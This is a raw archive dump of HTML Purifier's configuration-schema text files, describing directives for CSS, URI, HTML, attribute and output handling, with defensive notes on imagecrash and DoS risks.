--# vim: et sw=4 sts=4
PK j�$Z�M��o o J htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.MaxImgLength.txtnu �[��� CSS.MaxImgLength
TYPE: string/null
DEFAULT: '1200px'
VERSION: 3.1.1
--DESCRIPTION--
<p>
This parameter sets the maximum allowed length on <code>img</code> tags,
effectively the <code>width</code> and <code>height</code> properties.
Only absolute units of measurement (in, pt, pc, mm, cm) and pixels (px) are allowed. This is
in place to prevent imagecrash attacks, disable with null at your own risk.
This directive is similar to %HTML.MaxImgLength, and both should be
concurrently edited, although there are
subtle differences in the input format (the CSS max is a number with
a unit).
</p>
--# vim: et sw=4 sts=4
PK j�$Z�U}� � K htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.DefinitionRev.txtnu �[��� CSS.DefinitionRev
TYPE: int
VERSION: 2.0.0
DEFAULT: 1
--DESCRIPTION--
<p>
Revision identifier for your custom definition. See
%HTML.DefinitionRev for details.
</p>
--# vim: et sw=4 sts=4
PK j�$Z�&�0o o R htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.LegacyEntityDecoder.txtnu �[��� Core.LegacyEntityDecoder
TYPE: bool
VERSION: 4.9.0
DEFAULT: false
--DESCRIPTION--
<p>
Prior to HTML Purifier 4.9.0, entities were decoded by performing
a global search replace for all entities whose decoded versions
did not have special meanings under HTML, and replaced them with
their decoded versions. We would match all entities, even if they did
not have a trailing semicolon, but only if there weren't any trailing
alphanumeric characters.
</p>
<table>
<tr><th>Original</th><th>Text</th><th>Attribute</th></tr>
<tr><td>&yen;</td><td>¥</td><td>¥</td></tr>
<tr><td>&yen</td><td>¥</td><td>¥</td></tr>
<tr><td>&yena</td><td>&yena</td><td>&yena</td></tr>
<tr><td>&yen=</td><td>¥=</td><td>¥=</td></tr>
</table>
<p>
In HTML Purifier 4.9.0, we changed the behavior of entity parsing
to match entities that had missing trailing semicolons in less
cases, to more closely match HTML5 parsing behavior:
</p>
<table>
<tr><th>Original</th><th>Text</th><th>Attribute</th></tr>
<tr><td>&yen;</td><td>¥</td><td>¥</td></tr>
<tr><td>&yen</td><td>¥</td><td>¥</td></tr>
<tr><td>&yena</td><td>¥a</td><td>&yena</td></tr>
<tr><td>&yen=</td><td>¥=</td><td>&yen=</td></tr>
</table>
<p>
This flag reverts back to pre-HTML Purifier 4.9.0 behavior.
</p>
--# vim: et sw=4 sts=4
PK j�$Z�K� V htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.CommentScriptContents.txtnu �[��� Output.CommentScriptContents
TYPE: bool
VERSION: 2.0.0
DEFAULT: true
--DESCRIPTION--
Determines whether or not HTML Purifier should attempt to fix up the
contents of script tags for legacy browsers with comments.
--ALIASES--
Core.CommentScriptContents
--# vim: et sw=4 sts=4
PK j�$Z�u�n n J htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CoreModules.txtnu �[��� HTML.CoreModules
TYPE: lookup
VERSION: 2.0.0
--DEFAULT--
array (
'Structure' => true,
'Text' => true,
'Hypertext' => true,
'List' => true,
'NonXMLCommonAttributes' => true,
'XMLCommonAttributes' => true,
'CommonAttributes' => true,
)
--DESCRIPTION--
<p>
Certain modularized doctypes (XHTML, namely), have certain modules
that must be included for the doctype to be an conforming document
type: put those modules here. By default, XHTML's core modules
are used. You can set this to a blank array to disable core module
protection, but this is not recommended.
</p>
--# vim: et sw=4 sts=4
PK j�$ZDvel P htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.NormalizeNewlines.txtnu �[��� Core.NormalizeNewlines
TYPE: bool
VERSION: 4.2.0
DEFAULT: true
--DESCRIPTION--
<p>
Whether or not to normalize newlines to the operating
system default. When <code>false</code>, HTML Purifier
will attempt to preserve mixed newline files.
</p>
--# vim: et sw=4 sts=4
PK j�$Z �|�� � L htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeSecretKey.txtnu �[��� URI.MungeSecretKey
TYPE: string/null
VERSION: 3.1.1
DEFAULT: NULL
--DESCRIPTION--
<p>
This directive enables secure checksum generation along with %URI.Munge.
It should be set to a secure key that is not shared with anyone else.
The checksum can be placed in the URI using %t. Use of this checksum
affords an additional level of protection by allowing a redirector
to check if a URI has passed through HTML Purifier with this line:
</p>
<pre>$checksum === hash_hmac("sha256", $url, $secret_key)</pre>
<p>
If the output is TRUE, the redirector script should accept the URI.
</p>
<p>
Please note that it would still be possible for an attacker to procure
secure hashes en-mass by abusing your website's Preview feature or the
like, but this service affords an additional level of protection
that should be combined with website blacklisting.
</p>
<p>
Remember this has no effect if %URI.Munge is not on.
</p>
--# vim: et sw=4 sts=4
PK j�$Z��=� � E htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Strict.txtnu �[��� HTML.Strict
TYPE: bool
VERSION: 1.3.0
DEFAULT: false
DEPRECATED-VERSION: 1.7.0
DEPRECATED-USE: HTML.Doctype
--DESCRIPTION--
Determines whether or not to use Transitional (loose) or Strict rulesets.
--# vim: et sw=4 sts=4
PK j�$Z��S M htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowDuplicates.txtnu �[��� CSS.AllowDuplicates
TYPE: bool
DEFAULT: false
VERSION: 4.8.0
--DESCRIPTION--
<p>
By default, HTML Purifier removes duplicate CSS properties,
like <code>color:red; color:blue</code>. If this is set to
true, duplicate properties are allowed.
</p>
--# vim: et sw=4 sts=4
PK j�$Z���? E htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Disable.txtnu �[��� URI.Disable
TYPE: bool
VERSION: 1.3.0
DEFAULT: false
--DESCRIPTION--
<p>
Disables all URIs in all forms. Not sure why you'd want to do that
(after all, the Internet's founded on the notion of a hyperlink).
</p>
--ALIASES--
Attr.DisableURI
--# vim: et sw=4 sts=4
PK j�$Z禰/ / I htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EnableIDNA.txtnu �[��� Core.EnableIDNA
TYPE: bool
DEFAULT: false
VERSION: 4.4.0
--DESCRIPTION--
Allows international domain names in URLs. This configuration option
requires the PEAR Net_IDNA2 module to be installed. It operates by
punycoding any internationalized host names for maximum portability.
--# vim: et sw=4 sts=4
PK j�$Z��; ; K htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.BlockWrapper.txtnu �[��� HTML.BlockWrapper
TYPE: string
VERSION: 1.3.0
DEFAULT: 'p'
--DESCRIPTION--
<p>
String name of element to wrap inline elements that are inside a block
context. This only occurs in the children of blockquote in strict mode.
</p>
<p>
Example: by default value,
<code><blockquote>Foo</blockquote></code> would become
<code><blockquote><p>Foo</p></blockquote></code>.
The <code><p></code> tags can be replaced with whatever you desire,
as long as it is a block level element.
</p>
--# vim: et sw=4 sts=4
PK j�$Z����= = P htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklistRegexp.txtnu �[��� Attr.IDBlacklistRegexp
TYPE: string/null
VERSION: 1.6.0
DEFAULT: NULL
--DESCRIPTION--
PCRE regular expression to be matched against all IDs. If the expression is
matches, the ID is rejected. Use this with care: may cause significant
degradation. ID matching is done after all other validation.
--# vim: et sw=4 sts=4
PK j�$Z4��B B R htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedFrameTargets.txtnu �[��� Attr.AllowedFrameTargets
TYPE: lookup
DEFAULT: array()
--DESCRIPTION--
Lookup table of all allowed link frame targets. Some commonly used link
targets include _blank, _self, _parent and _top. Values should be
lowercase, as validation will be done in a case-sensitive manner despite
W3C's recommendation. XHTML 1.0 Strict does not permit the target attribute
so this directive will have no effect in that doctype. XHTML 1.1 does not
enable the Target module by default, you will have to manually enable it
(see the module documentation for more details.)
--# vim: et sw=4 sts=4
PK j�$Z��I�� � L htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefixLocal.txtnu �[��� Attr.IDPrefixLocal
TYPE: string
VERSION: 1.2.0
DEFAULT: ''
--DESCRIPTION--
Temporary prefix for IDs used in conjunction with %Attr.IDPrefix. If you
need to allow multiple sets of user content on web page, you may need to
have a seperate prefix that changes with each iteration. This way,
seperately submitted user content displayed on the same page doesn't
clobber each other. Ideal values are unique identifiers for the content it
represents (i.e. the id of the row in the database). Be sure to add a
seperator (like an underscore) at the end. Warning: this directive will
not work unless %Attr.IDPrefix is set to a non-empty value!
--# vim: et sw=4 sts=4
PK j�$Z��^� � K htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Test.ForceNoIconv.txtnu �[��� Test.ForceNoIconv
TYPE: bool
DEFAULT: false
--DESCRIPTION--
When set to true, HTMLPurifier_Encoder will act as if iconv does not exist
and use only pure PHP implementations.
--# vim: et sw=4 sts=4
PK j�$Z�, � � G htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Nofollow.txtnu �[��� HTML.Nofollow
TYPE: bool
VERSION: 4.3.0
DEFAULT: FALSE
--DESCRIPTION--
If enabled, nofollow rel attributes are added to all outgoing links.
--# vim: et sw=4 sts=4
PK j�$ZR��� � J htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TargetBlank.txtnu �[��� HTML.TargetBlank
TYPE: bool
VERSION: 4.4.0
DEFAULT: FALSE
--DESCRIPTION--
If enabled, <code>target=blank</code> attributes are added to all outgoing links.
(This includes links from an HTTPS version of a page to an HTTP version.)
--# vim: et sw=4 sts=4
PK j�$Z�/�2 2 B htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Host.txtnu �[��� URI.Host
TYPE: string/null
VERSION: 1.2.0
DEFAULT: NULL
--DESCRIPTION--
<p>
Defines the domain name of the server, so we can determine whether or
an absolute URI is from your website or not. Not strictly necessary,
as users should be using relative URIs to reference resources on your
website. It will, however, let you use absolute URIs to link to
subdomains of the domain you post here: i.e. example.com will allow
sub.example.com. However, higher up domains will still be excluded:
if you set %URI.Host to sub.example.com, example.com will be blocked.
<strong>Note:</strong> This directive overrides %URI.Base because
a given page may be on a sub-domain, but you wish HTML Purifier to be
more relaxed and allow some of the parent domains too.
</p>
--# vim: et sw=4 sts=4
PK j�$Z/��/� � G htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefix.txtnu �[��� Attr.IDPrefix
TYPE: string
VERSION: 1.2.0
DEFAULT: ''
--DESCRIPTION--
String to prefix to IDs. If you have no idea what IDs your pages may use,
you may opt to simply add a prefix to all user-submitted ID attributes so
that they are still usable, but will not conflict with core page IDs.
Example: setting the directive to 'user_' will result in a user submitted
'foo' to become 'user_foo' Be sure to set %HTML.EnableAttrID to true
before using this.
--# vim: et sw=4 sts=4
PK j�$Z7�}M� � N htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DisableExcludes.txtnu �[��� Core.DisableExcludes
TYPE: bool
DEFAULT: false
VERSION: 4.5.0
--DESCRIPTION--
<p>
This directive disables SGML-style exclusions, e.g. the exclusion of
<code><object></code> in any descendant of a
<code><pre></code> tag. Disabling excludes will allow some
invalid documents to pass through HTML Purifier, but HTML Purifier
will also be less likely to accidentally remove large documents during
processing.
</p>
--# vim: et sw=4 sts=4
PK j�$Z&+��� � P htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidTags.txtnu �[��� Core.EscapeInvalidTags
TYPE: bool
DEFAULT: false
--DESCRIPTION--
When true, invalid tags will be written back to the document as plain text.
Otherwise, they are silently dropped.
--# vim: et sw=4 sts=4
PK j�$Z밉"� � K htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefaultScheme.txtnu �[��� URI.DefaultScheme
TYPE: string/null
DEFAULT: 'http'
--DESCRIPTION--
<p>
Defines through what scheme the output will be served, in order to
select the proper object validator when no scheme information is present.
</p>
<p>
Starting with HTML Purifier 4.9.0, the default scheme can be null, in
which case we reject all URIs which do not have explicit schemes.
</p>
--# vim: et sw=4 sts=4
PK j�$Z�4*?l l f htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions.txtnu �[��� AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions
TYPE: lookup
VERSION: 4.0.0
DEFAULT: array('td' => true, 'th' => true)
--DESCRIPTION--
<p>
When %AutoFormat.RemoveEmpty and %AutoFormat.RemoveEmpty.RemoveNbsp
are enabled, this directive defines what HTML elements should not be
removede if they have only a non-breaking space in them.
</p>
--# vim: et sw=4 sts=4
PK j�$Z8���A A Q htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AllowParseManyTags.txtnu �[��� Core.AllowParseManyTags
TYPE: bool
DEFAULT: false
VERSION: 4.10.1
--DESCRIPTION--
<p>
This directive allows parsing of many nested tags.
If you set true, relaxes any hardcoded limit from the parser.
However, in that case it may cause a Dos attack.
Be careful when enabling it.
</p>
--# vim: et sw=4 sts=4
PK j�$Z��-�� � I htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowTricky.txtnu �[��� CSS.AllowTricky
TYPE: bool
DEFAULT: false
VERSION: 3.1.0
--DESCRIPTION--
This parameter determines whether or not to allow "tricky" CSS properties and
values. Tricky CSS properties/values can drastically modify page layout or
be used for deceptive practices but do not directly constitute a security risk.
For example, <code>display:none;</code> is considered a tricky property that
will only be allowed if this directive is set to true.
--# vim: et sw=4 sts=4
PK j�$Z���~� � P htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyFixLt.txtnu �[��� Core.AggressivelyFixLt
TYPE: bool
VERSION: 2.1.0
DEFAULT: true
--DESCRIPTION--
<p>
This directive enables aggressive pre-filter fixes HTML Purifier can
perform in order to ensure that open angled-brackets do not get killed
during parsing stage. Enabling this will result in two preg_replace_callback
calls and at least two preg_replace calls for every HTML document parsed;
if your users make very well-formed HTML, you can set this directive false.
This has no effect when DirectLex is used.
</p>
<p>
<strong>Notice:</strong> This directive's default turned from false to true
in HTML Purifier 3.2.0.
</p>
--# vim: et sw=4 sts=4
PK j�$Z�Md8� � Y htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Scope.txtnu �[��� Filter.ExtractStyleBlocks.Scope
TYPE: string/null
VERSION: 3.0.0
DEFAULT: NULL
ALIASES: Filter.ExtractStyleBlocksScope, FilterParam.ExtractStyleBlocksScope
--DESCRIPTION--
<p>
If you would like users to be able to define external stylesheets, but
only allow them to specify CSS declarations for a specific node and
prevent them from fiddling with other elements, use this directive.
It accepts any valid CSS selector, and will prepend this to any
CSS declaration extracted from the document. For example, if this
directive is set to <code>#user-content</code> and a user uses the
selector <code>a:hover</code>, the final selector will be
<code>#user-content a:hover</code>.
</p>
<p>
The comma shorthand may be used; consider the above example, with
<code>#user-content, #user-content2</code>, the final selector will
be <code>#user-content a:hover, #user-content2 a:hover</code>.
</p>
<p>
<strong>Warning:</strong> It is possible for users to bypass this measure
using a naughty + selector. This is a bug in CSS Tidy 1.3, not HTML
Purifier, and I am working to get it fixed. Until then, HTML Purifier
performs a basic check to prevent this.
</p>
--# vim: et sw=4 sts=4
PK j�$Z
�0& & M htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultTextDir.txtnu �[��� Attr.DefaultTextDir
TYPE: string
DEFAULT: 'ltr'
--DESCRIPTION--
Defines the default text direction (ltr or rtl) of the document being
parsed. This generally is the same as the value of the dir attribute in
HTML, or ltr if that is not specified.
--ALLOWED--
'ltr', 'rtl'
--# vim: et sw=4 sts=4
PK j�$Z>�� � D htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.XHTML.txtnu �[��� HTML.XHTML
TYPE: bool
DEFAULT: true
VERSION: 1.1.0
DEPRECATED-VERSION: 1.7.0
DEPRECATED-USE: HTML.Doctype
--DESCRIPTION--
Determines whether or not output is XHTML 1.0 or HTML 4.01 flavor.
--ALIASES--
Core.XHTML
--# vim: et sw=4 sts=4
PK j�$Z�{��r r N htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedElements.txtnu �[��� HTML.AllowedElements
TYPE: lookup/null
VERSION: 1.3.0
DEFAULT: NULL
--DESCRIPTION--
<p>
If HTML Purifier's tag set is unsatisfactory for your needs, you can
overload it with your own list of tags to allow. If you change
this, you probably also want to change %HTML.AllowedAttributes; see
also %HTML.Allowed which lets you set allowed elements and
attributes at the same time.
</p>
<p>
If you attempt to allow an element that HTML Purifier does not know
about, HTML Purifier will raise an error. You will need to manually
tell HTML Purifier about this element by using the
<a href="http://htmlpurifier.org/docs/enduser-customize.html">advanced customization features.</a>
</p>
<p>
<strong>Warning:</strong> If another directive conflicts with the
elements here, <em>that</em> directive will win and override.
</p>
--# vim: et sw=4 sts=4
PK j�$ZYT~s� � L htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowImportant.txtnu �[��� CSS.AllowImportant
TYPE: bool
DEFAULT: false
VERSION: 3.1.0
--DESCRIPTION--
This parameter determines whether or not !important cascade modifiers should
be allowed in user CSS. If false, !important will stripped.
--# vim: et sw=4 sts=4
PK j�$Zk 6 6 K htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.HostBlacklist.txtnu �[��� URI.HostBlacklist
TYPE: list
VERSION: 1.3.0
DEFAULT: array()
--DESCRIPTION--
List of strings that are forbidden in the host of any URI. Use it to kill
domain names of spam, etc. Note that it will catch anything in the domain,
so <tt>moo.com</tt> will catch <tt>moo.com.example.com</tt>.
--# vim: et sw=4 sts=4
PK j�$Z]���
�
S htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.txtnu �[��� Filter.ExtractStyleBlocks
TYPE: bool
VERSION: 3.1.0
DEFAULT: false
EXTERNAL: CSSTidy
--DESCRIPTION--
<p>
This directive turns on the style block extraction filter, which removes
<code>style</code> blocks from input HTML, cleans them up with CSSTidy,
and places them in the <code>StyleBlocks</code> context variable, for further
use by you, usually to be placed in an external stylesheet, or a
<code>style</code> block in the <code>head</code> of your document.
</p>
<p>
Sample usage:
</p>
<pre><![CDATA[
<?php
header('Content-type: text/html; charset=utf-8');
echo '<?xml version="1.0" encoding="UTF-8"?>';
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Filter.ExtractStyleBlocks</title>
<?php
require_once '/path/to/library/HTMLPurifier.auto.php';
require_once '/path/to/csstidy.class.php';
$dirty = '<style>body {color:#F00;}</style> Some text';
$config = HTMLPurifier_Config::createDefault();
$config->set('Filter', 'ExtractStyleBlocks', true);
$purifier = new HTMLPurifier($config);
$html = $purifier->purify($dirty);
// This implementation writes the stylesheets to the styles/ directory.
// You can also echo the styles inside the document, but it's a bit
// more difficult to make sure they get interpreted properly by
// browsers; try the usual CSS armoring techniques.
$styles = $purifier->context->get('StyleBlocks');
$dir = 'styles/';
if (!is_dir($dir)) mkdir($dir);
$hash = sha1($_GET['html']);
foreach ($styles as $i => $style) {
file_put_contents($name = $dir . $hash . "_$i");
echo '<link rel="stylesheet" type="text/css" href="'.$name.'" />';
}
?>
</head>
<body>
<div>
<?php echo $html; ?>
</div>
</b]]><![CDATA[ody>
</html>
]]></pre>
<p>
<strong>Warning:</strong> It is possible for a user to mount an
imagecrash attack using this CSS. Counter-measures are difficult;
it is not simply enough to limit the range of CSS lengths (using
relative lengths with many nesting levels allows for large values
to be attained without actually specifying them in the stylesheet),
and the flexible nature of selectors makes it difficult to selectively
disable lengths on image tags (HTML Purifier, however, does disable
CSS width and height in inline styling). There are probably two effective
counter measures: an explicit width and height set to auto in all
images in your document (unlikely) or the disabling of width and
height (somewhat reasonable). Whether or not these measures should be
used is left to the reader.
</p>
--# vim: et sw=4 sts=4
PK j�$Z����� � K htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionRev.txtnu �[��� URI.DefinitionRev
TYPE: int
VERSION: 2.1.0
DEFAULT: 1
--DESCRIPTION--
<p>
Revision identifier for your custom definition. See
%HTML.DefinitionRev for details.
</p>
--# vim: et sw=4 sts=4
PK j�$Z��b� � N htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableResources.txtnu �[��� URI.DisableResources
TYPE: bool
VERSION: 4.2.0
DEFAULT: false
--DESCRIPTION--
<p>
Disables embedding resources, essentially meaning no pictures. You can
still link to them though. See %URI.DisableExternalResources for why
this might be a good idea.
</p>
<p>
<em>Note:</em> While this directive has been available since 1.3.0,
it didn't actually start doing anything until 4.2.0.
</p>
--# vim: et sw=4 sts=4
PK j�$Z� � � I htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRev.txtnu �[��� Attr.AllowedRev
TYPE: lookup
VERSION: 1.6.0
DEFAULT: array()
--DESCRIPTION--
List of allowed reverse document relationships in the rev attribute. This
attribute is a bit of an edge-case; if you don't know what it is for, stay
away.
--# vim: et sw=4 sts=4
PK j�$Z��7�f f H htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.Newline.txtnu �[��� Output.Newline
TYPE: string/null
VERSION: 2.0.1
DEFAULT: NULL
--DESCRIPTION--
<p>
Newline string to format final output with. If left null, HTML Purifier
will auto-detect the default newline type of the system and use that;
you can manually override it here. Remember, \r\n is Windows, \r
is Mac, and \n is Unix.
</p>
--# vim: et sw=4 sts=4
PK j�$Zo�*J J L htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ColorKeywords.txtnu �[��� Core.ColorKeywords
TYPE: hash
VERSION: 2.0.0
--DEFAULT--
array (
'aliceblue' => '#F0F8FF',
'antiquewhite' => '#FAEBD7',
'aqua' => '#00FFFF',
'aquamarine' => '#7FFFD4',
'azure' => '#F0FFFF',
'beige' => '#F5F5DC',
'bisque' => '#FFE4C4',
'black' => '#000000',
'blanchedalmond' => '#FFEBCD',
'blue' => '#0000FF',
'blueviolet' => '#8A2BE2',
'brown' => '#A52A2A',
'burlywood' => '#DEB887',
'cadetblue' => '#5F9EA0',
'chartreuse' => '#7FFF00',
'chocolate' => '#D2691E',
'coral' => '#FF7F50',
'cornflowerblue' => '#6495ED',
'cornsilk' => '#FFF8DC',
'crimson' => '#DC143C',
'cyan' => '#00FFFF',
'darkblue' => '#00008B',
'darkcyan' => '#008B8B',
'darkgoldenrod' => '#B8860B',
'darkgray' => '#A9A9A9',
'darkgrey' => '#A9A9A9',
'darkgreen' => '#006400',
'darkkhaki' => '#BDB76B',
'darkmagenta' => '#8B008B',
'darkolivegreen' => '#556B2F',
'darkorange' => '#FF8C00',
'darkorchid' => '#9932CC',
'darkred' => '#8B0000',
'darksalmon' => '#E9967A',
'darkseagreen' => '#8FBC8F',
'darkslateblue' => '#483D8B',
'darkslategray' => '#2F4F4F',
'darkslategrey' => '#2F4F4F',
'darkturquoise' => '#00CED1',
'darkviolet' => '#9400D3',
'deeppink' => '#FF1493',
'deepskyblue' => '#00BFFF',
'dimgray' => '#696969',
'dimgrey' => '#696969',
'dodgerblue' => '#1E90FF',
'firebrick' => '#B22222',
'floralwhite' => '#FFFAF0',
'forestgreen' => '#228B22',
'fuchsia' => '#FF00FF',
'gainsboro' => '#DCDCDC',
'ghostwhite' => '#F8F8FF',
'gold' => '#FFD700',
'goldenrod' => '#DAA520',
'gray' => '#808080',
'grey' => '#808080',
'green' => '#008000',
'greenyellow' => '#ADFF2F',
'honeydew' => '#F0FFF0',
'hotpink' => '#FF69B4',
'indianred' => '#CD5C5C',
'indigo' => '#4B0082',
'ivory' => '#FFFFF0',
'khaki' => '#F0E68C',
'lavender' => '#E6E6FA',
'lavenderblush' => '#FFF0F5',
'lawngreen' => '#7CFC00',
'lemonchiffon' => '#FFFACD',
'lightblue' => '#ADD8E6',
'lightcoral' => '#F08080',
'lightcyan' => '#E0FFFF',
'lightgoldenrodyellow' => '#FAFAD2',
'lightgray' => '#D3D3D3',
'lightgrey' => '#D3D3D3',
'lightgreen' => '#90EE90',
'lightpink' => '#FFB6C1',
'lightsalmon' => '#FFA07A',
'lightseagreen' => '#20B2AA',
'lightskyblue' => '#87CEFA',
'lightslategray' => '#778899',
'lightslategrey' => '#778899',
'lightsteelblue' => '#B0C4DE',
'lightyellow' => '#FFFFE0',
'lime' => '#00FF00',
'limegreen' => '#32CD32',
'linen' => '#FAF0E6',
'magenta' => '#FF00FF',
'maroon' => '#800000',
'mediumaquamarine' => '#66CDAA',
'mediumblue' => '#0000CD',
'mediumorchid' => '#BA55D3',
'mediumpurple' => '#9370DB',
'mediumseagreen' => '#3CB371',
'mediumslateblue' => '#7B68EE',
'mediumspringgreen' => '#00FA9A',
'mediumturquoise' => '#48D1CC',
'mediumvioletred' => '#C71585',
'midnightblue' => '#191970',
'mintcream' => '#F5FFFA',
'mistyrose' => '#FFE4E1',
'moccasin' => '#FFE4B5',
'navajowhite' => '#FFDEAD',
'navy' => '#000080',
'oldlace' => '#FDF5E6',
'olive' => '#808000',
'olivedrab' => '#6B8E23',
'orange' => '#FFA500',
'orangered' => '#FF4500',
'orchid' => '#DA70D6',
'palegoldenrod' => '#EEE8AA',
'palegreen' => '#98FB98',
'paleturquoise' => '#AFEEEE',
'palevioletred' => '#DB7093',
'papayawhip' => '#FFEFD5',
'peachpuff' => '#FFDAB9',
'peru' => '#CD853F',
'pink' => '#FFC0CB',
'plum' => '#DDA0DD',
'powderblue' => '#B0E0E6',
'purple' => '#800080',
'rebeccapurple' => '#663399',
'red' => '#FF0000',
'rosybrown' => '#BC8F8F',
'royalblue' => '#4169E1',
'saddlebrown' => '#8B4513',
'salmon' => '#FA8072',
'sandybrown' => '#F4A460',
'seagreen' => '#2E8B57',
'seashell' => '#FFF5EE',
'sienna' => '#A0522D',
'silver' => '#C0C0C0',
'skyblue' => '#87CEEB',
'slateblue' => '#6A5ACD',
'slategray' => '#708090',
'slategrey' => '#708090',
'snow' => '#FFFAFA',
'springgreen' => '#00FF7F',
'steelblue' => '#4682B4',
'tan' => '#D2B48C',
'teal' => '#008080',
'thistle' => '#D8BFD8',
'tomato' => '#FF6347',
'turquoise' => '#40E0D0',
'violet' => '#EE82EE',
'wheat' => '#F5DEB3',
'white' => '#FFFFFF',
'whitesmoke' => '#F5F5F5',
'yellow' => '#FFFF00',
'yellowgreen' => '#9ACD32'
)
--DESCRIPTION--
Lookup array of color names to six digit hexadecimal number corresponding
to color, with preceding hash mark. Used when parsing colors. The lookup
is done in a case-insensitive manner.
--# vim: et sw=4 sts=4
PK j�$Z_zf� L htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeScripting.txtnu �[��� HTML.SafeScripting
TYPE: lookup
VERSION: 4.5.0
DEFAULT: array()
--DESCRIPTION--
<p>
Whether or not to permit script tags to external scripts in documents.
Inline scripting is not allowed, and the script must match an explicit whitelist.
</p>
--# vim: et sw=4 sts=4
PK j�$Z�0�� � M htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedModules.txtnu �[��� HTML.AllowedModules
TYPE: lookup/null
VERSION: 2.0.0
DEFAULT: NULL
--DESCRIPTION--
<p>
A doctype comes with a set of usual modules to use. Without having
to mucking about with the doctypes, you can quickly activate or
disable these modules by specifying which modules you wish to allow
with this directive. This is most useful for unit testing specific
modules, although end users may find it useful for their own ends.
</p>
<p>
If you specify a module that does not exist, the manager will silently
fail to use it, so be careful! User-defined modules are not affected
by this directive. Modules defined in %HTML.CoreModules are not
affected by this directive.
</p>
--# vim: et sw=4 sts=4
PK j�$ZeP��% % V htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternalResources.txtnu �[��� URI.DisableExternalResources
TYPE: bool
VERSION: 1.3.0
DEFAULT: false
--DESCRIPTION--
Disables the embedding of external resources, preventing users from
embedding things like images from other hosts. This prevents access
tracking (good for email viewers), bandwidth leeching, cross-site request
forging, goatse.cx posting, and other nasties, but also results in a loss
of end-user functionality (they can't directly post a pic they posted from
Flickr anymore). Use it if you don't have a robust user-content moderation
team.
--# vim: et sw=4 sts=4
PK j�$Z?AZ� O htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TargetNoreferrer.txtnu �[��� HTML.TargetNoreferrer
TYPE: bool
VERSION: 4.8.0
DEFAULT: TRUE
--DESCRIPTION--
If enabled, noreferrer rel attributes are added to links which have
a target attribute associated with them. This prevents malicious
destinations from overwriting the original window.
--# vim: et sw=4 sts=4
PK j�$Z�|�� L htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Linkify.txtnu �[��� AutoFormat.Linkify
TYPE: bool
VERSION: 2.0.1
DEFAULT: false
--DESCRIPTION--
<p>
This directive turns on linkification, auto-linking http, ftp and
https URLs. <code>a</code> tags with the <code>href</code> attribute
must be allowed.
</p>
--# vim: et sw=4 sts=4
PK j�$Z��}� � B htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Base.txtnu �[��� URI.Base
TYPE: string/null
VERSION: 2.1.0
DEFAULT: NULL
--DESCRIPTION--
<p>
The base URI is the URI of the document this purified HTML will be
inserted into. This information is important if HTML Purifier needs
to calculate absolute URIs from relative URIs, such as when %URI.MakeAbsolute
is on. You may use a non-absolute URI for this value, but behavior
may vary (%URI.MakeAbsolute deals nicely with both absolute and
relative paths, but forwards-compatibility is not guaranteed).
<strong>Warning:</strong> If set, the scheme on this URI
overrides the one specified by %URI.DefaultScheme.
</p>
--# vim: et sw=4 sts=4
PK j�$Z"��S
L htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FlashCompat.txtnu �[��� Output.FlashCompat
TYPE: bool
VERSION: 4.1.0
DEFAULT: false
--DESCRIPTION--
<p>
If true, HTML Purifier will generate Internet Explorer compatibility
code for all object code. This is highly recommended if you enable
%HTML.SafeObject.
</p>
--# vim: et sw=4 sts=4
